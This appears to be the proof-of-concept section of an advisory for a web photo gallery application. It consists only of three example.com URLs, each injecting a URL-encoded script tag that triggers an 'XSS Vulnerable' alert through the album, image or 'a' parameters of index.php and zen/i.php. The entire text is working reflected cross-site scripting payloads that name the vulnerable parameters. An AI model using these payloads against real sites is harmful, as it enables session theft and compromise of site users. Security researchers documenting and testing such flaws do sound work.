http://www.example.com/photos/zen/i.php?a=%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E&i=1%2Ejpg&s=thumb
http://www.example.com/photos/index.php?album=%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAME&image='%3E%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E